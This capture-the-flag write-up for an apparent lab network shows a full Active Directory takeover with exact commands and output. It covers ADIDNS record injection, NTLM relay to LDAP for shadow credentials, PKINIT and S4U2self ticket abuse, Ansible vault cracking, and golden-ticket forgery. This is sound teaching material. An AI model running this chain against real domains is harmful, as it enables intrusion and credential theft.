TicketTak is a two-host Active Directory chain from Kenolab built around Kerberos ticket abuse. I’ll start with a web-based availability checker that fetches internal URLs, one of which has no DNS record. Any domain user can write to ADIDNS, so I’ll claim that name, point it at my host, and relay the machine account’s HTTP authentication to LDAP to write shadow credentials onto the computer object. From there a PKINIT certificate gets me a TGT for the machine account, and S4U2self turns that into a ticket for administrator on the host itself. On that box is an Ansible inventory with a vault-encrypted password that cracks to a domain user, who can read an IT share holding a previous pentest report. The report pastes the krbtgt AES key, so I’ll forge a golden ticket for the domain.

Recon

nmap

On the first host, the mix of DNS, Kerberos, LDAP, and SMB says domain controller

$ nmap -p- --min-rate 10000 10.253.45.11
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-08 07:54 -0500

Warning: 10.253.45.11 giving up on port because retransmission cap hit (10).

Nmap scan report for DC01.kenocorp.lan (10.253.45.11)

Host is up (0.10s latency).

Not shown: 59759 closed tcp ports (reset), 5751 filtered tcp ports (no-response)

PORT STATE SERVICE

53/tcp open domain

88/tcp open kerberos-sec

135/tcp open msrpc

139/tcp open netbios-ssn

389/tcp open ldap

445/tcp open microsoft-ds

593/tcp open http-rpc-epmap

636/tcp open ldapssl

3268/tcp open globalcatLDAP

3389/tcp open ms-wbt-server

5985/tcp open wsman

5986/tcp open wsmans

47001/tcp open winrm

The second host has a webserver on port 80

$ nmap -p- --min-rate 10000 10.253.45.29
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-08 07:55 -0500

Warning: 10.253.45.29 giving up on port because retransmission cap hit (10).

Nmap scan report for WEB01.kenocorp.lan (10.253.45.29)

Host is up (0.092s latency).

Not shown: 61307 closed tcp ports (reset), 4214 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

5985/tcp open wsman

5986/tcp open wsmans

47001/tcp open winrm

Both are Windows Server 2022 Build 20348, with hostnames DC01 and WEB01

$ nxc smb targets.txt
SMB 10.253.45.11 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:kenocorp.lan) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

SMB 10.253.45.29 445 WEB01 [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:kenocorp.lan) (signing:False) (SMBv1:False)

Running nxc against 2 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

I’ll use netexec to generate the hosts file for me

$ nxc smb targets.txt --generate-hosts-file hosts
SMB 10.253.45.11 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:kenocorp.lan) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

SMB 10.253.45.29 445 WEB01 [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:kenocorp.lan) (signing:False) (SMBv1:False)

Running nxc against 2 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00


$ cat hosts

10.253.45.11 DC01.kenocorp.lan kenocorp.lan DC01

10.253.45.29 WEB01.kenocorp.lan WEB01

There’s one thing to keep in mind. SMB signing on WEB01 is disabled, which marks it as a relay target

SMB

The provided creds work on the DC and it has three non-default shares. IT, MGMT, and RH all look interesting, but the pentest user has no access to any of them

$ nxc smb 10.253.45.11 -u pentest -p pentest --shares
SMB 10.253.45.11 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:kenocorp.lan) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

SMB 10.253.45.11 445 DC01 [+] kenocorp.lan\pentest:pentest

SMB 10.253.45.11 445 DC01 [*] Enumerated shares

SMB 10.253.45.11 445 DC01 Share Permissions Remark

SMB 10.253.45.11 445 DC01 ----- ----------- ------

SMB 10.253.45.11 445 DC01 ADMIN$ Remote Admin

SMB 10.253.45.11 445 DC01 C$ Default share

SMB 10.253.45.11 445 DC01 IPC$ READ Remote IPC

SMB 10.253.45.11 445 DC01 IT

SMB 10.253.45.11 445 DC01 MGMT

SMB 10.253.45.11 445 DC01 NETLOGON READ Logon server share

SMB 10.253.45.11 445 DC01 RH

SMB 10.253.45.11 445 DC01 SYSVOL READ Logon server share

We can list the domain users; the list is small

$ nxc smb 10.253.45.11 -u pentest -p pentest --users
SMB 10.253.45.11 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:kenocorp.lan) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

SMB 10.253.45.11 445 DC01 [+] kenocorp.lan\pentest:pentest

SMB 10.253.45.11 445 DC01 -Username- -Last PW Set- -BadPW- -Description-

SMB 10.253.45.11 445 DC01 Administrator 2026-04-15 18:33:18 0 Built-in account for administering the computer/domain

SMB 10.253.45.11 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain

SMB 10.253.45.11 445 DC01 krbtgt 2026-04-15 17:21:44 0 Key Distribution Center Service Account

SMB 10.253.45.11 445 DC01 philipe.robert 2026-04-15 18:41:50 0

SMB 10.253.45.11 445 DC01 jacques.lemajeur 2026-04-15 18:42:06 0

SMB 10.253.45.11 445 DC01 jacques.lemineur 2026-04-15 18:42:21 0

SMB 10.253.45.11 445 DC01 pierre.durand 2026-04-15 18:42:38 0

SMB 10.253.45.11 445 DC01 andrew.bernard 2026-04-15 18:42:54 0

SMB 10.253.45.11 445 DC01 jean.martin 2026-04-15 18:43:15 0

SMB 10.253.45.11 445 DC01 pentest 2026-04-16 17:29:13 0

SMB 10.253.45.11 445 DC01 [*] Enumerated 10 local users: kenocorp

BloodHound

I’ll collect bloodhound data with bloodhound-python

$ bloodhound-python -u pentest -p pentest -d kenocorp.lan -ns 10.253.45.11 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)

INFO: Found AD domain: kenocorp.lan

INFO: Getting TGT for user

INFO: Connecting to LDAP server: dc01.kenocorp.lan

INFO: Found 1 domains

INFO: Found 1 domains in the forest

INFO: Found 2 computers

INFO: Connecting to LDAP server: dc01.kenocorp.lan

INFO: Found 11 users

INFO: Found 59 groups

INFO: Found 2 gpos

INFO: Found 1 ous

INFO: Found 19 containers

INFO: Found 0 trusts

INFO: Starting computer enumeration with 10 workers

INFO: Querying computer: WEB01.kenocorp.lan

INFO: Querying computer: DC01.kenocorp.lan

INFO: Done in 00M 18S

INFO: Compressing output into 20261108123135_bloodhound.zip

There’s nothing to abuse in bloodhound. The pentest user has no interesting ACLs

Port 80

Port 80 on WEB01 is an app called KenoMonitor “Internal Web Availability Checker”. The server fetches whichever target is picked. If we try to submit “example.com” we get “Unknow host”, so the box has no route out. There are two other internal names and neither resolves:

$ nslookup pdf.kenocorp.lan 10.253.45.11
Server: 10.253.45.11

Address: 10.253.45.11#53


** server can't find pdf.kenocorp.lan: NXDOMAIN


$ nslookup git.kenocorp.lan 10.253.45.11

Server: 10.253.45.11

Address: 10.253.45.11#53


** server can't find git.kenocorp.lan: NXDOMAIN

WEB01

Strategy

We can point git.kenocorp.lan to our host (ADIDNS) and trigger a check, so WEB01 authenticates to us over HTTP as the machine account. Then we can relay that authentication to LDAP on the DC. A computer object can write its own msDS-KeyCredentialLink, so the relay can plant shadow credentials on WEB01$. Finally, we can use the resulting certificate for PKINIT to get a TGT as WEB01$, then use S4U2self to get a ticket for administrator on WEB01.

ADIDNS

We can use dnstool.py from krbrelayx to add the record:

$ dnstool.py -u 'kenocorp.lan\pentest' -p 'pentest' 10.253.45.11 -d 10.200.0.46 -a add -r 'git.kenocorp.lan'
[-] Connecting to host...

[-] Binding to host

[+] Bind OK

[-] Adding extra record

[+] LDAP operation completed successfully

The record takes a couple of minutes to resolve. Eventually it does:

$ nslookup git.kenocorp.lan 10.253.45.11
Server: 10.253.45.11

Address: 10.253.45.11#53


Name: git.kenocorp.lan

Address: 10.200.0.46

Shadow Credentials

I’ll start ntlmrelayx.py listening on port 80, relaying to LDAP on the DC, with the shadow credentials attack pointed at WEB01$

$ ntlmrelayx.py -t "ldap://10.253.45.11" -smb2support --shadow-credentials --shadow-target 'WEB01$' --http-port 80
Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies


[*] Protocol Client SMB loaded..

[*] Protocol Client SMTP loaded..

[*] Protocol Client RPC loaded..

[*] Protocol Client IMAPS loaded..

[*] Protocol Client IMAP loaded..

[*] Protocol Client WINRMS loaded..

[*] Protocol Client LDAP loaded..

[*] Protocol Client LDAPS loaded..

[*] Protocol Client DCSYNC loaded..

[*] Protocol Client HTTP loaded..

[*] Protocol Client HTTPS loaded..

[*] Protocol Client MSSQL loaded..

[*] Running in relay mode to single host

[*] Setting up SMB Server on port 445

[*] Setting up HTTP Server on port 80

[*] Setting up WCF Server on port 9389

[*] Setting up RAW Server on port 6666

[*] Setting up WinRM (HTTP) Server on port 5985

[*] Setting up WinRMS (HTTPS) Server on port 5986

[*] Setting up MSSQL Server on port 1433

[*] Setting up RPC Server on port 135

[*] Setting up RDP Server on port 3389

[*] Multirelay disabled


[*] Servers started, waiting for connections

Now I’ll run the check against git.kenocorp.lan. The relay then gets what it needs

[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from 10.253.45.29 controlled, attacking target ldap://10.253.45.11
[*] (HTTP): Client requested path: /
[*] (HTTP): Authenticating connection from KENOCORP/WEB01$@10.253.45.29 against ldap://10.253.45.11 SUCCEED [1]
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Enumerating relayed user's privileges. This may take a while on large domains
[-] (HTTP): Exception in HTTP request handler: [Errno 104] Connection reset by peer
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Searching for the target account
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Target user found: CN=WEB01,CN=Computers,DC=kenocorp,DC=lan
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Generating certificate
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Certificate generated
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Generating KeyCredential
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Found 1 existing KeyCredential(s) on target object
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Updating the msDS-KeyCredentialLink attribute of WEB01$
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Updated the msDS-KeyCredentialLink attribute of the target object
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Saved PFX (#PKCS12) certificate & key at path: bPteaNwY.pfx
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Must be used with password: cI0rHlXtFx1KSvxTiuDA
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Run the following command to obtain a TGT
[*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> python3 getTGT.py -cert-pfx bPteaNwY.pfx -pfx-pass cI0rHlXtFx1KSvxTiuDA kenocorp.lan/WEB01$

The certificate is written and WEB01$ now trusts the matching key. Now let’s run the command it told us to run to get TGT for WEB01$

$ getTGT.py -cert-pfx bPteaNwY.pfx -pfx-pass cI0rHlXtFx1KSvxTiuDA kenocorp.lan/WEB01$
Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies


[*] Saving ticket in WEB01$.ccache

S4U2self

A machine account can always ask the KDC for a ticket to itself on behalf of any user (S4U2self abuse), even with no delegation configured. That’s enough to get a service ticket for administrator to WEB01:

$ export KRB5CCNAME='WEB01$.ccache'
$ getST.py -spn 'cifs/WEB01.kenocorp.lan' -impersonate 'administrator' -self -k -no-pass 'kenocorp.lan/WEB01$'

Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies


[*] Impersonating administrator

[*] When doing S4U2self only, argument -spn is ignored

[*] Requesting S4U2self

[*] Saving ticket in administrator@WEB01$@KENOCORP.LAN.ccache

The ticket authenticates as administrator on WEB01 and we can grab the user flag

$ export KRB5CCNAME=administrator@WEB01\$@KENOCORP.LAN.ccache
$ nxc smb web01 --use-kcache

SMB web01 445 WEB01 [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:kenocorp.lan) (signing:False) (SMBv1:False)

SMB web01 445 WEB01 [+] kenocorp.lan\administrator from ccache (Pwn3d!)

$ nxc smb web01 --use-kcache -x 'type c:\users\administrator\desktop\flag.txt'

SMB web01 445 WEB01 [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:kenocorp.lan) (signing:False) (SMBv1:False)

SMB web01 445 WEB01 [+] kenocorp.lan\administrator from ccache (Pwn3d!)

SMB web01 445 WEB01 [+] Executed command via wmiexec

SMB web01 445 WEB01 KENO{Silv3r***********}

Auth as pierre.durand

Enumeration

There’s a non-standard directory at the root of C:, C:\OPS

PS C:\> ls -Recurse OPS


Directory: C:\OPS



Mode LastWriteTime Length Name

---- ------------- ------ ----

d----- 4/15/2026 2:41 PM ansible

d----- 4/15/2026 2:41 PM packer



Directory: C:\OPS\ansible



Mode LastWriteTime Length Name

---- ------------- ------ ----

-a---- 12/16/2025 5:03 PM 908 00_inventory.yml

-a---- 12/16/2025 4:44 PM 326 playbook_web01_winupdate.yml



Directory: C:\OPS\packer



Mode LastWriteTime Length Name

---- ------------- ------ ----

-a---- 12/25/2025 7:03 AM 2228 ubuntu-pve-img.pkr.hcl

The Ansible inventory has a WinRM password for pierre.durand, encrypted with ansible-vault:

PS C:\> cat OPS\ansible\00_inventory.yml
all:

hosts:

web01:

ansible_connection: winrm

ansible_host: web01.kenocorp.lan

ansible_password: !vault |

$ANSIBLE_VAULT;1.1;AES256

39623734366561663663383866653339613335656630353761343362303339626437323661646561

3238386537366431643732613134373731656232336438350a343037623538306535636337316563

39626664363332353637376430343262303032326537343663656465626164326461313537333830

3761373461393164360a653930616337643337636361393938656436366535313663366165303839

63343030323264316335326339373637366466393430343465333666316439353031

ansible_user: pierre.durand

ansible_winrm_operation_timeout_sec: 240

ansible_winrm_read_timeout_sec: 320

ansible_winrm_scheme: https

ansible_winrm_server_cert_validation: ignore

windows:

hosts:

web01: {}

Crack Vault

A vault blob is PBKDF2-SHA256, which john handles. I’ll save the blob and convert it:

$ ansible2john vault.txt | tee hash
vault.txt:$ansible$0*0*9b746eaf6c88fe39a35ef057a43b039bd726adea288e76d1d72a14771eb23d85*e90ac7d37cca998ed66e516c6ae089c40022d1c52c97676df94044e36f1d9501*407b580e5cc71ec9bfd6325677d042b0022e746cedebad2da1573807a74a91d6

$ j hash

Using default input encoding: UTF-8

Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])

Cost 1 (iteration count) is 10000 for all loaded hashes

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

30secondstomars (vault.txt)

1g 0:00:00:04 DONE (2026-11-08 13:07) 0.2278g/s 3221p/s 3221c/s 3221C/s diegos..souljagirl

Use the "--show" option to display all of the cracked passwords reliably

Session completed

Now we can decrypt the vault using this password

$ ansible-vault decrypt vault.txt --output -
Vault password:

Decryption successful

wp7DIjcIg9ib0JMLLbOI85qCD

The creds are good, and pierre.durand can read the IT share

$ nxc smb 10.253.45.11 -u pierre.durand -p 'wp7DIjcIg9ib0JMLLbOI85qCD' --shares
SMB 10.253.45.11 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:kenocorp.lan) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

SMB 10.253.45.11 445 DC01 [+] kenocorp.lan\pierre.durand:wp7DIjcIg9ib0JMLLbOI85qCD

SMB 10.253.45.11 445 DC01 [*] Enumerated shares

SMB 10.253.45.11 445 DC01 Share Permissions Remark

SMB 10.253.45.11 445 DC01 ----- ----------- ------

SMB 10.253.45.11 445 DC01 ADMIN$ Remote Admin

SMB 10.253.45.11 445 DC01 C$ Default share

SMB 10.253.45.11 445 DC01 IPC$ READ Remote IPC

SMB 10.253.45.11 445 DC01 IT READ

SMB 10.253.45.11 445 DC01 MGMT

SMB 10.253.45.11 445 DC01 NETLOGON READ Logon server share

SMB 10.253.45.11 445 DC01 RH

SMB 10.253.45.11 445 DC01 SYSVOL READ Logon server share

Shell as Administrator on DC01

IT Share

There are some documents in the Security folder inside the IT share

$ smbclient.py 'kenocorp.lan/pierre.durand:wp7DIjcIg9ib0JMLLbOI85qCD@dc01'
Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies


Type help for list of commands

# use IT

# ls

drw-rw-rw- 0 Wed Apr 15 14:48:15 2026 .

drw-rw-rw- 0 Wed Apr 15 14:46:22 2026 ..

drw-rw-rw- 0 Wed Apr 15 14:49:20 2026 Dev

drw-rw-rw- 0 Wed Apr 15 14:49:07 2026 Helpdesk

drw-rw-rw- 0 Wed Apr 15 14:48:53 2026 Infra

drw-rw-rw- 0 Wed Apr 15 14:54:34 2026 Security

# cd Security

# ls

drw-rw-rw- 0 Wed Apr 15 14:54:34 2026 .

drw-rw-rw- 0 Wed Apr 15 14:48:15 2026 ..

-rw-rw-rw- 915566 Wed Dec 17 15:45:48 2025 anssi_supervision.pdf

-rw-rw-rw- 6156839 Sat Nov 1 20:00:16 2025 FR-FR-CNTNT-eBook-HybridCloud-WindowsServerUltimateGuide-fr-fr.pdf

-rw-rw-rw- 1222964 Wed Apr 22 13:12:33 2026 pentest_report.pdf

# mget *

[*] Downloading anssi_supervision.pdf

[*] Downloading FR-FR-CNTNT-eBook-HybridCloud-WindowsServerUltimateGuide-fr-fr.pdf

[*] Downloading pentest_report.pdf

pentest_report.pdf is a report from a previous engagement, and the persistence section pastes the full secretsdump.py output for krbtgt as a proof. The report masked the administrator password but left the krbtgt keys in full. The AES256 key is a7977840e57a5e7dcf400ee05b0617e8e90c3b5b3828e86505a0d15c0f51ea59

Golden Ticket

Forging a golden ticket needs the domain SID as well:

$ lookupsid.py 'kenocorp.lan/pierre.durand:wp7DIjcIg9ib0JMLLbOI85qCD@10.253.45.11' 0
Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies


[*] Brute forcing SIDs at 10.253.45.11

[*] StringBinding ncacn_np:10.253.45.11[\pipe\lsarpc]

[*] Domain SID is: S-1-5-21-175356196-1599867514-1195351626

The krbtgt password has not been rotated since the report, so the key still signs valid tickets:

$ ticketer.py -aesKey a7977840e57a5e7dcf400ee05b0617e8e90c3b5b3828e86505a0d15c0f51ea59 -domain-sid S-1-5-21-175356196-1599867514-1195351626 -domain kenocorp.lan administrator
Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies


[*] Creating basic skeleton ticket and PAC Infos

[*] Customizing ticket for kenocorp.lan/administrator

[*] PAC_LOGON_INFO

[*] PAC_CLIENT_INFO_TYPE

[*] EncTicketPart

[*] EncAsRepPart

[*] Signing/Encrypting final ticket

[*] EncTicketPart

[*] EncASRepPart

[*] Saving/Updating ticket in administrator.ccache

The ticket works against the DC:

$ export KRB5CCNAME=administrator.ccache
$ nxc smb dc01.kenocorp.lan --use-kcache

SMB dc01.kenocorp.lan 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:kenocorp.lan) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

SMB dc01.kenocorp.lan 445 DC01 [+] KENOCORP.LAN\administrator from ccache (Pwn3d!)

Let’s grab the root flag

$ nxc smb dc01.kenocorp.lan --use-kcache -x 'type c:\users\administrator\desktop\flag.txt'
SMB dc01.kenocorp.lan 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:kenocorp.lan) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

SMB dc01.kenocorp.lan 445 DC01 [+] KENOCORP.LAN\administrator from ccache (Pwn3d!)

SMB dc01.kenocorp.lan 445 DC01 [+] Executed command via wmiexec

SMB dc01.kenocorp.lan 445 DC01 KENO{P3nt3ster*****************}